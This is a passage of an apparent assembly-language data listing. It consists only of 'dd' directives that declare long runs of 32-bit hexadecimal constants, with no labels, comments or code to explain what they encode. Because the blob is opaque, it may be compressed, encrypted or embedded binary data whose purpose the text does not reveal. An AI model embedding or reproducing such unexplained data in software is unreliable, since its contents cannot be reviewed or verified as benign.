		dd 0E0154C7Ah, 19681D24h, 0D263C070h, 10CA0909h, 9FFF064h
		dd 4FED3302h, 9264F800h, 2C074D89h, 9C9062FAh, 0C1EF9812h
		dd 9420E557h, 80709159h, 1C2B0180h, 0C800EAAEh,	0AA236B6Dh
		dd 0CBE3F3h, 94249B2Fh,	59588AFBh, 7E14ECB8h, 88947F8Ch
		dd 55BB80F2h, 29348919h, 7B6CBC00h, 0FA3D1231h,	8E66004Bh
		dd 1B85AAD5h, 58486319h, 802290h, 0ED0A8BCEh, 1E4D2841h
		dd 6937850Fh, 0B976616Dh, 0C9D491B3h, 58FA3E66h, 0A04E808Bh
		dd 59B57804h, 8A118E90h, 0C350288Bh, 12749E60h,	177F7011h
		dd 309456D2h, 6BF1D744h, 9CE9A900h, 664EB377h, 0C6463E89h
		dd 8A8012BCh, 69AA7255h, 0F9C801D5h, 36468305h,	0C0A49FE6h
		dd 0F30F66B4h, 7DA144h,	0C1C43165h, 6B5AE505h, 35905F0Bh
		dd 82600929h, 250D13A8h, 0E91888E8h, 458CA101h,	3ECB321Fh
		dd 3D1B660h, 89F0DB61h,	29186280h, 0A5C10718h, 846500D2h
		dd 8EB22872h, 0BB1DDA1Dh
		dd 4464B03Fh, 5C02A516h, 73622C75h, 36838270h, 6041120Dh
		dd 706091D4h, 87AB041Fh, 3A692F8Bh, 5ABD80B0h, 6FF59254h
		dd 2372C300h, 5D45E355h, 1FBEC81h, 0D7ADB80Bh, 42C3E937h
		dd 5F200A54h, 2842953h,	6E3FFD76h, 0C881B99Eh, 0EEC417D8h
		dd 80C33CA0h, 0AF58778Eh, 96861050h, 0A16070Ch,	0A35860B9h
		dd 448E3E88h, 54934890h, 7D2F4EA2h, 1891689Ah, 0EE2FCh
		dd 2B8E1958h, 790C53BFh, 0D500C2F2h, 28E37EB1h,	93732A4h
		dd 62EF1B86h, 0FC05C0Fh, 0C0993664h, 495574E0h,	0D5AD028h
		dd 8018D0Fh, 0EC3941D5h, 0A2E40E64h, 63D60037h,	0F20D0FE6h
		dd 5E1C9B65h, 0BAD913F4h, 0FAECB656h, 0A010B17h, 28829589h
		dd 0B023A78Ah, 73E9010Ch, 0D7BF1BB9h, 0F135C15Dh, 8BFD3019h
		dd 2C49F44Ah, 18F49069h, 8DEE002Eh, 0CBF1D18Ch,	78001CC0h
		dd 157E3829h, 311CC26h,	0D87033C3h, 3AC8B7A7h, 5100ECC2h
		dd 73E11681h, 7918A4Ah,	0FF67FAC1h, 991EC04Ch, 537C3358h
		dd 0AFEAC917h, 6436F5C1h, 17C48570h, 0B3FBF11h,	6C0BDA87h
		dd 0C16AC19h, 0F8DF240Dh, 1294044h, 7C9C828Ch, 98D537C0h
		dd 50770BB6h, 680AAB90h, 85A66750h, 2114B28Fh, 9160858Bh
		dd 0C9C8B469h, 93064700h, 4082FA4Bh, 0C90F75B8h, 5C617139h
		dd 0D6A11073h, 0E8BE9037h, 645D5C60h, 0B00E404Ch, 58CE3BDEh
		dd 658BBA82h, 69309452h, 96C1698Ch, 18CC017Bh, 1407BE31h
		dd 9208381Ah, 17DBC9Ch,	9EE951D3h, 740AF6AFh, 115CFBD4h
		dd 7A04E168h, 0A9995FD5h, 73378089h, 0D2EF0334h, 0DB035B51h
		dd 9846982Bh, 205C4AEAh, 0C5546CB0h, 37B32A05h,	94A2FF0Fh
		dd 0F9900921h, 8096E882h, 798AA04Bh, 598E7E22h,	6044AC40h
		dd 3EF0EC25h, 82039309h, 0F45C049Bh, 0AB353C43h, 0A632C0D5h
		dd 0A7005EC2h, 0D43A4127h, 33BCFDCh, 0DF2CF021h, 928CA5C5h
		dd 99208D64h, 237FCDh, 1450FE05h, 7782E429h, 435D39F2h
		dd 0B27F22B8h, 0A11300E4h, 67966CF4h, 0AC004148h, 0DFBAE21Ch
		dd 5C5D2C46h, 8A090C83h, 0CE47680h, 92CF0209h, 0FC9881F1h
		dd 88899349h, 0C010AEF0h, 0C703BB1Bh, 0F7BCCBA8h, 4A05B85Bh
		dd 2D9B005Ch, 0A9698C49h, 6101C58Bh, 436DB8A1h,	9FDCE6DAh
		dd 0A5100241h, 9268300Fh, 0F859A441h, 8901E345h, 11583F7Fh
		dd 0A84C605Fh, 0E01902B3h, 13F0CC21h, 0AC0FE0D9h, 827609Eh
		dd 2ABA75h, 84056562h, 4E7DE592h, 5A0164FCh, 3A5CDF67h
		dd 0B423DE90h, 81430138h, 3FB998D9h, 9E6990F8h,	842580E0h
		dd 46C8FD88h, 0B895405h, 90E675C9h, 0A8E52A0Eh,	17552160h
		dd 0AD043088h, 0E66852Ch, 0EFCF04EEh, 4D5480C7h, 9212DFB9h
		dd 38320F07h, 57BF10F0h, 6FF62890h, 84F182h, 135D063Bh
		dd 0E0008142h, 0EFC1FEE1h, 2323D09h, 60D42A54h,	50A08C08h
		dd 0E420FD8h, 4498CB4h,	0A2289A8h, 8CADAF20h, 56E70725h
		dd 4C291161h, 24B286E8h, 78608C9Eh, 94981C3h, 0BD4462C6h
		dd 4991F006h, 0EA00E09Ch, 30F20494h, 0C890181h,	8D7E2E4Bh
		dd 8A798618h, 90F16F88h, 0E8D12790h, 52479C20h,	0CE0005FBh
		dd 0E6D2900Fh, 1F7DD4Fh, 5BBF077Dh, 7041CD9Ch, 662CF1CEh
		dd 0AF01E881h, 58DB163Dh, 675830h, 7F509E2Dh, 0D1CC1E4h
		dd 74EAD800h, 0AA98C491h, 295F0996h, 60E4DB27h,	26F54900h
		dd 5B139F3h, 915A02D2h,	0C930BF23h, 0D0F21C64h,	0A9773600h
		dd 9237019Ah, 3808A1A8h, 0B6580C78h, 8B64414Fh,	8180E8B8h
		dd 703B16D9h, 0AE20A49Ch, 561700E2h, 0A784BB52h, 389038BFh
		dd 60041920h, 79B64037h, 8A4E7FDCh, 61388040h, 70FE3A6h
		dd 5D57F9C3h, 0AFD86289h, 210110F2h, 0B05A1266h, 0B2D4B54Ah
		dd 16CF0FCh, 146E728Dh,	2091A133h, 0ED0FB77Ch, 0AAF170h
		dd 2E9446C5h, 2B891CA8h, 2084D6DCh, 0D0420930h,	0D69190C1h
		dd 202A1DADh, 0E9DDFA38h, 11E47698h, 0DEC1900h,	65369523h
		dd 30461C68h, 37DA808Bh, 17F108ACh, 0F979EF01h,	0B77EFF20h
		dd 0BC4D1030h, 908217B0h, 9E30F024h, 4044B030h,	0C8BEF222h
		dd 26162528h, 7FDF1002h, 5F38C491h, 19C4BC37h, 0CC583CFDh
		dd 13042602h, 9F880A5Fh, 0D0E81318h, 0CD0B9D40h, 17E24D5Ch
		dd 0B40BAB0Dh, 840D8538h, 411CBC30h, 55151607h,	570D275h
		dd 0EE76E020h, 245700A8h, 66CA3B9Fh, 2CBEDC92h,	50545F40h
		dd 9888619Ah, 31868A39h, 19C892DCh, 6570C90h, 2480FEFh
		dd 0A0401FBBh, 58218136h, 0BC744B01h, 39CE17EEh, 641C37D8h
		dd 402D90B0h, 0FC82BBC9h, 763501B9h, 7441439h, 8134E03Eh
		dd 47A3F51Dh, 55FD2030h, 8A7300F9h, 2C6402D3h, 0F37722F1h
		dd 10130D0Fh, 1938A08Ch, 0C21E0544h, 40A35D41h,	73EA1820h
		dd 8B550786h, 5151410Ah, 0D8B6202Dh, 960310D5h,	0B7C95DBDh
		dd 35BA8060h, 0BB863A90h, 7103B140h, 28400BFBh,	95500380h
		dd 36480C7Ah, 0E32A6103h, 14387BE5h, 6CB5C810h,	734E7A00h
		dd 0C2F1E2D3h, 336AB600h, 7DDE37ECh, 30CEF67Bh,	0E418D670h
		dd 0A640A12Fh, 17A0006h, 564B5E17h, 69C048A3h, 0D26A75A8h
		dd 2360EBA5h, 80C700B4h, 9DE08EA7h, 621F9217h, 915FF3D1h
		dd 0B5913318h, 1020C87h, 8F4934DEh, 0BE7F9018h,	83119E1h
		dd 0EF0C5E7Eh, 0CDAB3483h, 766BE014h, 0F238C0B8h, 8090FE3Fh
		dd 0A2590763h, 8E510742h, 0C0D660EDh, 5897D168h, 0C8EF8301h
		dd 17B20E43h, 0EA0452ECh, 0CD0A3D85h, 900CF698h, 40E945B6h
		dd 0C95C81B8h, 0E64CF40Ch, 4CE799C8h, 4A07048Ch, 50FB5B75h
		dd 4AC6490h, 4DE2C000h,	0CC0A8E0Ch, 50447413h, 0A81B8FEh
		dd 99BFC9F4h, 0E5E186C0h, 570051C7h, 7FD3A592h,	0C036C850h
		dd 11A7EF9Eh, 2E1F3A9Bh, 0AEC796F4h, 0ACF0863Bh, 0DB1D42h
		dd 7D8F8A2Ch, 7EAA68F2h, 51C0E631h, 2EE43D8Bh, 0E2180C78h
		dd 1F19C3E5h, 46A41400h, 626E4DDAh, 0E18B0C7Eh,	0B660185Dh
		dd 0F3896F00h, 307B10Bh, 51900EFh, 6BBAB8Ch, 0B34825DCh
		dd 35120108h, 0C5E5E0BCh, 86B45980h, 0B8AA6F63h, 83E7C902h
		dd 0A06534D5h, 613AFCA0h, 0EDE601A5h, 0C625B986h, 1FFC5059h
		dd 0F2094DB5h, 7E7D8Eh,	0ED689A8Eh, 7707EB6h, 25D94F1Dh
		dd 5488589h, 0A97D08h, 0F3B33114h, 8C733EBh, 0B0CAC2C9h
		dd 81116A8Ch, 3DCA008Ch, 7C468F8h, 30FC845h, 2064462Ch
		dd 0A2D60C09h, 0F0590021h, 4F7A2E5Eh, 2D00E50Ah, 475D88B3h
		dd 0E47C8055h, 0ACEA3B1Fh, 1D1A5706h, 1CA0698Ah, 772C875Fh
		dd 6A0CC372h, 0B77908h,	76D023A2h, 0A306880Bh, 0DA9FBF00h
		dd 0FB21725Ah, 96DF0961h, 4411920Eh, 5C22A3h, 0E2A670BEh
		dd 7E43C7h, 760721F0h, 820CBFCEh, 18562320h, 898BBDC9h
		dd 9A00B5E1h, 2063A714h, 55E5BC0h, 8190F53Fh, 0C8C44418h
		dd 7D00C8B7h, 19BFE630h, 3CE83C4h, 6FB708Ah, 8999EBB2h
		dd 539DD443h, 954A406h,	0D90C6Bh, 157E7A5h, 0ECE12F24h
		dd 2AAF2B00h, 25FE1145h, 3D40CD81h, 0A420EED1h,	98C3347Bh
		dd 856700D3h, 2189CA46h, 0AA017976h, 0E706C227h, 0F1EC0960h
		dd 523409B6h, 64903E0Ch, 2430EA31h, 0CE858026h,	147D7C59h
		dd 4C01448Ah, 0D1C4E518h, 6301ABA0h, 5DD8A3EEh,	6D096E7h
		dd 0BAC90ABDh, 8080FD15h, 0B3E23F88h, 2E31C1CDh, 0FCD82107h
		dd 0E180F911h, 3C8BF836h, 2EDCD4Ch, 93D69E1Eh, 49749931h
		dd 0B7D41D10h, 36721E0Eh, 8A850090h, 18223E1h, 0E52B6A70h
		dd 48CE2E62h, 74A40B78h
		dd 28A8CDE8h, 99007820h, 0E2AB411Eh, 5CD155h, 9E62CC67h
		dd 0DE5B9554h, 60183826h, 39BFDD06h, 0C9627939h, 0B40108C9h
		dd 0D1110A91h, 0AF60812Dh, 3F0C41BAh, 44133822h, 0C2542404h
		dd 2A20DD70h, 3240820Bh, 41E85A5Eh, 364BC420h, 0CF8D0F24h
		dd 8822CAB8h, 63C0F930h, 0FB503BE3h, 0EB030440h, 20B5BCBEh
		dd 95CEAF16h, 74C3A70h,	0C0ED3EEFh, 78F39830h, 0C1CC01A0h
		dd 0BE4566CBh, 9DB0D829h, 0F42BAB28h, 0DE310A01h, 0C67E912Ah
		dd 447D6C22h, 83779087h, 0F2F04689h, 3C8E3E9Ch,	449C8A2Ch
		dd 0F53081AEh, 0DD9024C5h, 451E1988h, 14980096h, 1800AEA0h
		dd 0C7C12C34h, 846EAFh,	8D54F0EEh, 0D75F4E93h, 1E301BECh
		dd 867D3991h, 9D5900FEh, 0E2951A5Ch, 97017262h,	961B5DD2h
		dd 5C528990h, 21E41BB9h, 0E31E7Ch, 7A80BC19h, 0C2045945h
		dd 0B157F90Fh, 0AC7206C9h, 0E2010060h, 0BA409B44h, 0E10896E5h
		dd 1F383C0Bh, 0D70C00B9h, 87E30344h, 0AABB4704h, 0A881C1D5h
		dd 0BE1007FBh, 4E007659h, 256EF20Fh, 1CB29855h,	8039DE68h
		dd 0AA22EF54h, 95001D97h, 2E45E40Bh, 60734DE3h,	42B66971h
		dd 0C50BEE65h, 87AFD87h, 0FF090814h, 31F08BBAh,	0ADD02E4Ch
		dd 44F1C042h, 7E7FA549h, 62E13900h, 5E71BD75h, 0A2CA1243h
		dd 16C01F1Dh, 0F83820E4h, 540F4855h, 0C1F150FAh, 0C658834h
		dd 0FC8229D6h, 0DCC0F5E1h, 1B245E80h, 0CF00CC8Bh, 0FD76105Fh
		dd 0BB7400B6h, 85A0CC21h, 2029098h, 7A8D28C3h, 0EA604073h
		dd 0AD6A3E67h, 9A8FE33Dh, 2380380Eh, 4639FCDDh,	18EC8214h
		dd 40997DADh, 0D50CC611h, 16346789h, 0B4192F00h, 0B913CDDBh
		dd 538D00A5h, 51D7E379h, 0FD0136D5h, 0DB94BE20h, 0C40A47Dh
		dd 0A10A0B44h, 7A13C22Ch, 0C4F8F0A8h, 264AF714h, 289A1090h
		dd 5AC5784Ch, 87C0BEEDh, 2AA16A3h, 0DB29F996h, 0CDC3DAECh
		dd 6104DDF0h, 0C02CE650h, 0C8A0DCEBh, 78F76E00h, 54A569B9h
		dd 85F9123Dh, 8E78885Ch, 0D4A08000h, 0C9D0759Eh, 57C6006Eh
		dd 8303BBE6h, 0D18E142h, 0CA59C1E5h, 0A70E0027h, 62ADFDEFh
		dd 0D903F845h, 0A5A9B95Dh, 9039C220h, 0C0096AFCh, 3E0F02C1h
		dd 1F0123B1h, 46AD282Bh, 3820F695h, 0FF7ED9h, 564936FCh
		dd 0A0AEFDE3h, 0C3773803h, 133C400Bh, 200F44A9h, 0BAF5F168h
		dd 901894A4h, 0A2A1017Eh, 0B431C043h, 0EA6DE353h, 99932A00h
		dd 34550807h, 0E6601170h, 688000CBh, 4BBA5177h,	45A70023h
		dd 395C387Eh, 96584E8Dh, 1E060BA1h, 0BA002DBh, 0D79C933Dh
		dd 91E82089h, 113FEC6h,	961C78CAh, 0F0BEBF79h, 0B3005E7Ah
		dd 2253F8Bh, 3985B869h,	5A94592Eh, 0D41C943Bh, 5D4A0B71h
		dd 6AE91498h, 9CD6E503h, 98E78637h, 1582AF0Eh, 0A80B6B28h
		dd 0D50E2748h, 0CB60AB45h, 5AF0D4EAh, 89637738h, 3414896h
		dd 0C837C7F4h, 0C36942A4h, 267F8610h, 0B8FD8016h, 0B90CFB1Ch
		dd 403B0879h, 7E0093A9h, 8CB1FFFEh, 0BF046E9h, 0F687FDCAh
		dd 0A4C1F084h, 1C393AE4h, 526C028Eh, 0E0BFEC42h, 2C74E8h
		dd 817D93A5h, 0A6A78DC3h, 5C79BE0Dh, 8C2210C9h,	3EC08A11h
		dd 0E8974C8h, 0B082C4F0h, 441A0AC0h, 89F8FF0Ah,	7C871B5Ch
		dd 633443CBh, 5CC446AAh, 1403ACA1h, 0C22D01Dh, 0D3859095h
		dd 50B1A211h, 623D0E00h, 11FFF7Ch, 0C23EDE1Ch, 0EDBA5E86h
		dd 0FBBCD469h, 3AF4A2F8h, 8281FD6Eh, 0A33B87AAh, 90BF8308h
		dd 501E1356h, 9E6092h, 0F154403Dh, 0CB0BE8C7h, 0C1430701h
		dd 6A562464h, 35482C32h, 99BF3A00h, 0C77C9636h,	9BBE9700h
		dd 13F5B0B3h, 40F65867h, 36E38009h, 70690CC9h, 826379A0h
		dd 0F1ACE1E1h, 4C420644h, 8478E15Dh, 0B487E710h, 0BBD961Fh
		dd 0C0E8A93Ch, 0C89BC290h, 40E11934h, 7D41C118h, 44871C39h
		dd 86B4EC05h, 9820F6F4h, 0FC196F44h, 82B30490h,	0CD5DE28Fh
		dd 0C61BE02Ch, 1EA78B0Eh, 864A6085h, 881783h, 20038432h
		dd 0BEC9C03Ah, 0A0229C4Bh, 0F4CE2ECBh, 1F298780h, 7938558Fh
		dd 0E0CA8340h, 906ACE24h, 50C43844h, 8AFECC1Bh,	0E982B840h
		dd 36C59202h, 807C7E73h, 569BBF08h, 867DAFh, 0D20DAEDh
		dd 45B8DE09h, 501A0131h, 86C9C9BFh, 17DA048h, 5E1B1CA0h
		dd 7002303Ah, 8040BFB0h, 0E9051C31h, 208D40BEh,	0C80B2643h
		dd 0D82A1309h, 0A87013BAh, 9C310D28h, 0CF8C140h, 2BC48EFh
		dd 49F5E700h, 27BB369Eh, 8BF5003h, 0DB4F29BDh, 0CEF4808Ch
		dd 95EB9207h, 0F35D2100h, 0C49A15B5h, 697E042Eh, 921C1ED3h
		dd 34C6E108h, 23361100h, 3156A418h, 1A4902Eh, 5144FDF8h
		dd 297E7DA5h, 48804C34h, 0F31AC0B4h, 4A2BC6Fh, 0B57FE28Ch
		dd 92008330h, 86B25900h, 0BE10EE0Ah, 12ADEC4Fh,	30F1DA93h
		dd 2D1F8A04h, 99D09C05h, 39C0605Ah, 34FABF1h, 0BAC0D410h
		dd 0F3B04E7Ch, 0DD0041C8h, 40CB0288h, 0B01AA15Eh, 6A483ED0h
		dd 18689430h, 0D3E07236h, 7D908E12h, 30BB6432h,	8644F411h
		dd 0D4E80002h, 0BB75E358h, 0C0500330h, 950F1908h, 4020F70Ch
		dd 0CFA35E4Fh, 2038D77Fh, 1850D500h, 490395F6h,	0C619FFA6h
		dd 5882A0A1h, 37440110h, 52EBB5Bh, 44C7C7E8h, 0F964F075h
		dd 204F9896h, 82B409C6h, 41380003h, 0FBC18698h,	8E0C0FE3h
		dd 71B01EDAh, 68996Ah, 0A7DEDF27h, 0B509483Fh, 6B7FDFFh
		dd 2A6145F8h, 0EE80CDE6h, 0C15400D0h, 3F97486Dh, 41033778h
		dd 0AB20A22Bh, 0C162EB5Fh, 6B21A3F5h, 0C401F412h, 690B77D0h
		dd 0BC04A93Bh, 434D40FDh, 99BE0316h, 1E3C09FCh,	59C6E400h
		dd 0EE7485DDh, 49026A31h, 0B3D00A03h, 1208904Bh, 20807E67h
		dd 16FB82Ch, 1D44415Ch,	17A4358h, 64BE0DF1h, 14417D7Eh
		dd 94226CB6h, 69D6831Bh, 0BE10805h, 541D383Eh, 0F0044766h
		dd 13FAB351h, 45F088D9h, 4FE30305h, 0F8131843h,	44205C32h
		dd 1908250Ch, 4A39A487h, 80EC67F8h, 3E0D745Ch, 9A1C7100h
		dd 6829D006h, 2D490B3Ah, 0D819BCB3h, 65570FAh, 283C6C07h
		dd 79403F01h, 262D8B21h, 2494440Ch, 2095E018h, 91DFB42h
		dd 0E7C314F0h, 0A06DD6B7h, 141EE0B4h, 88A67DE3h, 6F304192h
		dd 1E7A225h, 41CEF802h,	34354A34h, 90E0F6E1h, 78B85880h
		dd 6C5AE0A0h, 5C71C200h, 78A82947h, 0A59003Bh, 0D4B921ABh
		dd 0B115522Dh, 808C1Eh,	0A5805EB3h, 169ED8C6h, 3212EF73h
		dd 19034048h, 0EC85B52Ah, 1B0102AFh, 50C06C71h,	1E81908Ch
		dd 0E600643Dh, 0B4E38661h, 1AEE272Bh, 0C09D3932h, 0E4CCA90Ah
		dd 0D496039Ch, 46CAEC3Bh, 0DDCD29E0h, 0BCC6BF06h, 22606371h
		dd 88449211h, 3FE804B7h, 0A08695AEh, 3B415B74h,	540421A5h
		dd 0D495403Dh, 26ED205Ah, 1D848BC5h, 0DC15D6B6h, 31DEBB10h
		dd 99B33F00h, 485DB2CFh, 2C525C45h, 85F83CC2h, 40CC5844h
		dd 763BB2F4h, 3419501Fh, 0E8B84118h, 61C698B7h,	790F6Ah
		dd 922F7867h, 0E38FAFEEh, 0C9425A00h, 0E8CC04C6h, 589B16A2h
		dd 5A4888F8h, 0D7EF8E16h, 4F0902BEh, 16605699h,	5F7F1082h
		dd 83440458h, 0D845EE19h, 1F017B5Eh, 0E496F2F1h, 20858648h
		dd 0B9002972h, 0D2877136h, 0B852E18Dh, 0DB13F91Ch, 0D39693E0h
		dd 2A6D4F07h, 0F10E234h, 158D1CDDh, 3886908Fh, 87E00976h
		dd 46496B1h, 0DF13DA00h, 6E7669D1h, 0DB820365h,	0B57CC1EEh
		dd 0D6819088h, 0C9091CBCh, 431844BCh, 0EBF2189h, 319BBBD8h
		dd 1AE033AAh, 61CC0B6h,	89D6D64Eh, 4494C8h, 7CF0D3F8h
		dd 2120AE38h, 6E16C00Ch
		dd 5C28DEh, 6345233Ah, 5DF30F78h, 710A4D90h, 90C07D86h
		dd 9005282Bh, 0AC30C37Fh, 192B4E6h, 1B9F369Bh, 0A5016DB6h
		dd 39C484F1h, 29FDE8C8h, 80F88D7Ch, 0CEB27726h,	3300D237h
		dd 0E076B3E2h, 2254845h, 5F925411h, 0C8C4E987h,	910565Ch
		dd 18141685h, 1772D8h, 81880C49h, 0B78AA3B5h, 910DF50Bh
		dd 0B2A0487Eh, 0C5B0B70h, 7020A040h, 0BDE8032Dh, 3AD75F01h
		dd 0BBD930E3h, 135F0847h, 4746B804h, 718F1E46h,	906DDC00h
		dd 6B6C9414h, 0BA0A3BDBh, 0E64ACF84h, 0E54E40CEh, 5F3086h
		dd 11D8DFC3h, 0AE636C74h, 895A6B00h, 3F206A15h,	41F24F0Fh
		dd 45E7AA98h, 3487761h,	0A2D50B95h, 5E110046h, 0BF1E6F4Fh
		dd 0C200DE4Ah, 0E69A3023h, 6942B5h, 54D7C566h, 0A9E79618h
		dd 4B4068BEh, 0FBB5D1h,	0E6BAC70Fh, 2C9A0D50h, 0D9F34600h
		dd 0F416899Bh, 7DE00320h, 4466922Eh, 26880858h,	3B400C06h
		dd 1F81F0Bh, 5E795694h,	490C4465h, 331AF1D0h, 1F14014Ch
		dd 0C4ED2C30h, 4080607Ch, 0E00F94C7h, 4AB52003h, 0E857F4C8h
		dd 245AD397h, 246C9613h, 33BA402Ch, 5494390Dh, 67C0C989h
		dd 93BB10A4h, 20946822h, 9544E1A1h, 0CFDCC400h,	2EE5330Fh
		dd 40B20066h, 0F7B84179h, 1095C1C9h, 42E8690h, 1AF48D59h
		dd 0BE79C0B6h, 0E55CBC5Eh, 43888F38h, 0A8A62155h, 0DA7AB7h
		dd 0A0FB2741h, 0E056F24Ch, 5E11B302h, 0C14EEA43h, 0C82C3C06h
		dd 44419C2h, 0B47334E2h, 30FFD600h, 208EE48h, 0F9D2CDD1h
		dd 0A0644A67h, 0CBD4194Dh, 0F0440Ch, 0DE97A685h, 0A273A08Fh
		dd 521C57FCh, 0FBC2896Eh, 8041B70Eh, 3B62DBF3h,	0D15D2E0Dh
		dd 3C0F171Ch, 5C840884h, 0DC2574FBh, 21079431h,	6037E4h
		dd 5A8FF8A0h, 0F67DA16h, 77C1B889h, 13C1208Ch, 90C905F3h
		dd 27D7D0h, 0CD37414Ah,	2B216302h, 9479422Eh, 1C307939h
		dd 85D88088h, 48B629A1h, 0A87D1C80h, 0BDBC0C48h, 10D01620h
		dd 582AE589h, 8CDA3470h, 47C9AD02h, 0C082E7BFh,	302A16B3h
		dd 3231076Bh, 0EB012062h, 8E1CE517h, 7876FBh, 68BEC3B0h
		dd 0B860EB81h, 9A0D32Fh, 0D8E8A37Ch, 0C5007057h, 4E389020h
		dd 9A1F53Ah, 6137A35Dh,	8E34EC23h, 0D2203FC2h, 73842982h
		dd 6C71E94h, 815D1FB0h,	9326D7BAh, 28F0293Ch, 0DD1F586Ah
		dd 38069B6h, 703057DCh,	878B4A71h, 0A9C9F044h, 9D2DC0C6h
		dd 7D7C0220h, 0C8BA5h, 449087BCh, 980D5202h, 9D07C522h
		dd 6CB2337Dh, 0D30B45C0h, 5E060556h, 818FEBC9h,	68361B18h
		dd 608C8EB8h, 7FAC2B93h, 2C524811h, 84050410h, 95413747h
		dd 60B37CE2h, 15607F78h, 7EA1941h, 967000B1h, 3A56C002h
		dd 3B0F2612h, 37230F8h,	0C1C7828Dh, 118A3120h, 114E802h
		dd 84BDEF1Ah, 8790F02Bh, 1F1F2099h, 1B0A9D05h, 0E91840E2h
		dd 2B3E7009h, 80AEBD39h, 0C225F36Dh, 95F411F6h,	19F7CC90h
		dd 428CC68Ah, 64E206B6h, 0F104D58h, 0B2A54942h,	57725D82h
		dd 108A8461h, 24AEF4Eh,	0D3CD2F22h, 0CE0E138h, 0C02E68B5h
		dd 0B718F91Bh, 0E0E2FC61h, 45D6170Bh, 0B2208851h, 0A8E72101h
		dd 80F00D5Dh, 27A2CC24h, 603A45D5h, 0B00E8C66h,	4777A27Bh
		dd 81102094h, 0F31002h,	59AE4E1Dh, 5E18EFAAh, 7D7E4C01h
		dd 0DEF0D2D1h, 1FB50C20h, 8F76DBBDh, 1889BA45h,	8800608Fh
		dd 0CDA5A64Fh, 544C10Ah, 4647F012h, 9DC0408Ah, 49BA5Eh
		dd 0FD8530C4h, 0F23D6F93h, 50C12BF4h, 4E3E0B82h, 8D3922FBh
		dd 0D9845800h, 49C4098Ch, 0E64AE0EFh, 2835B06Eh, 4418363Ch
		dd 0A6770496h, 0D5BAB00Eh, 75A1C037h, 38D97293h, 0F66DF7h
		dd 0BA95EC7Fh, 0EBB7C9CFh, 91F0F650h, 0EC458B5Bh, 88BDC8h
		dd 68E64C79h, 71E88C80h, 0DA130CF7h, 0D40016DDh, 1E87721Fh
		dd 6082973Eh, 84A0066Ah, 0E04796A7h, 80885C04h,	0E08E05A6h
		dd 0D07D9017h, 0D72EB5DCh, 0BE175200h, 9B1A5A6Ch, 1D3E1D40h
		dd 5CB1244h, 810B37A4h,	0F0B75B44h, 0E422D4BAh,	414700C2h
		dd 898E9D55h, 9197955Fh, 33F4EFC4h, 20C10117h, 14B33550h
		dd 10C703Eh, 0D03AF624h, 5C263211h, 220913FDh, 0E4E355F8h
		dd 93E696C8h, 8414B87Ch, 1083E8Ah, 7A92A525h, 0F02D7954h
		dd 5C7C1374h, 0BC0CCB3h, 3B307100h, 0FE5621ABh,	0E70C005Dh
		dd 0B57CFB7Bh, 0B1DF943h, 0A3C0B2E6h, 3AD67809h, 26AD7FFEh
		dd 53DD7Bh, 0BD443313h,	1003C9Ch, 525D39BFh, 0C09DB657h
		dd 29023579h, 0DC029FDEh, 8D5EF56Bh, 30F020h, 0BCA41566h
		dd 8EBEC955h, 906A31C9h, 153E64Ch, 88FDB0ECh, 0CD4F8422h
		dd 90042434h, 154BB090h, 0EF47E420h, 193D0255h,	0F5B83674h
		dd 0FEAEA860h, 100E5Ch,	1278534Ch, 2DEC8h, 0E7306FB6h
		dd 90F38D44h, 0FA584FF0h, 0BDA9034Eh, 0E00237A8h, 46EB540h
		dd 0E028BB3Ah, 7DB898F5h, 6ACA68Ch, 7E01BCB2h, 312562Ch
		dd 0AC2C73F1h, 60834AA2h, 2637515Ch, 76B5745Ch,	0C3AFEE01h
		dd 382E407Fh, 841CF474h, 44BDC925h, 1A08EBE4h, 0C546E0Fh
		dd 0A079C940h, 0E0AED8E8h, 0BB90028Eh, 0B5D2968Dh, 0E2067044h
		dd 0CCE5DB03h, 0B01C0011h, 37F0BC6Fh, 99030509h, 7BFD4149h
		dd 718C90CCh, 4CD30E0Ah, 0BEA0286Ah, 562F512h, 0BF263A00h
		dd 413B9BBCh, 1B5EAE6h,	0FD421C72h, 0BFCAE5DAh,	80A03961h
		dd 992D7512h, 0FC86E9FFh, 0BEBA01C9h, 1E64DF88h, 0A7D98093h
		dd 0A98F75A4h, 71A50029h, 836DEDADh, 6C091AA6h,	86F5D870h
		dd 1C3181B8h, 0AA0CEF82h, 44D60208h, 0A357DB3Fh, 0CA008064h
		dd 0D055FCEh, 0E299D4FAh, 0A9E600A2h, 0C3696F5h, 503501EBh
		dd 300BE042h, 20448Fh, 982940C2h, 90EC0D2Ah, 0E0B31C2Ch
		dd 344E4CBh, 59FBF76Eh,	0B2D43BE2h, 0DA0A00F4h,	391D751Ah
		dd 51B1007Fh, 64F2493Dh, 0F4987731h, 0CF9F3202h, 427C5E1Ah
		dd 5C0811E0h, 6687EC3Ch, 3790C7EEh, 0C919B120h,	0C6DEFC93h
		dd 10BAD72Dh, 1666F828h, 13572D2Fh, 67D00C28h, 9097DF11h
		dd 472CE60h, 0CFFFBABDh, 0E729802Bh, 0EB35D4B2h, 8C808F8h
		dd 7E203CFFh, 0C4654801h, 0D86E83A5h, 0EB00F42Ch, 0F241DBAAh
		dd 0DD3EA3A7h, 98DF31h,	0D5CE90BEh, 0D9171763h,	3827734Dh
		dd 705650D2h, 490B2690h, 722D4758h, 3C7487B2h, 0D2EBF3Ah
		dd 1064F382h, 90196048h, 8C553A39h, 13D30212h, 240A3FAh
		dd 0EA10C5FDh, 0EF2CC17Ch, 120A87D8h, 91F73BDFh, 2CB4D118h
		dd 0D9019F68h, 0DD59CE83h, 7A805028h, 0FE40A990h, 1FD35500h
		dd 45AEFBC3h, 8127048Bh, 0A890DE31h, 4AB2C940h,	0A90851A8h
		dd 56448010h, 0C8EE8788h, 465858h, 0DE090A39h, 5B7E62BEh
		dd 424C227Bh, 0A325300Eh, 844500A0h, 0B27F0877h, 1B435300h
		dd 4BE2B6D4h, 0E05D6F7Dh, 929B1800h, 8501E702h,	0B1170636h
		dd 3EE0030Fh, 51CB3052h, 5C4AB928h, 0D2832E02h,	0D947B814h
		dd 13332684h, 0A3208807h, 4C5BA720h, 0E981D81Eh, 40B76947h
		dd 0C69576E3h, 0DC48C800h, 941853D7h, 0B88305D0h, 0C9040644h
		dd 0D2146148h, 4ED53100h, 34B50070h, 0DC28BAF1h, 35302FACh
		dd 6ADF8059h, 0D01CA10Ch, 1769FCh, 2D38B9FAh, 26DED1FFh
		dd 0D9332700h, 79BEB185h, 59F61488h, 9C4CC804h,	41A0224Ah
		dd 123E41Bh, 7908B180h,	8F02BF03h, 0B85EBC86h, 42872Ah
